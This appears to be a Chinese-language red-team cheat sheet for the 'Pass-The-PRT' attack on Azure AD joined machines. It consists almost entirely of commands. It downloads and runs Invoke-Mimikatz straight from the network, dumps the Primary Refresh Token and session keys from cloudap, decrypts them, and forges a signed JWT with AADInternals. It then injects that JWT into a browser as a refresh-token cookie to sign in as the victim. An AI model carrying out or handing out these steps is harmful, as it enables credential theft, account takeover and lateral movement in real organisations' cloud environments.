# Pass-The-PRT

```
MimiKatz（2.2.0 及更高版本）可用于通过用于 Azure AD SSO（单点登录）的主刷新令牌 (PRT) 来攻击（混合）加入 Azure AD 的机器进行横向移动攻击。

运行 mimikatz 获取 PRT
PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

复制 PRT 和 KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect

复制 Context、ClearKey 和 DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>
生成 JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
eyJ0eXAiOiJKV1QiL...
（ JSON Web 令牌）可以在https://login.microsoftonline.com/login.srf<Signed JWT>的（匿名）浏览器会话中用作 PRT cookie 。 使用以下值编辑 Chrome cookie (F12) -> 应用程序 -> Cookies：

Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √
️用标志HTTPOnly和标记 cookie Secure。
```


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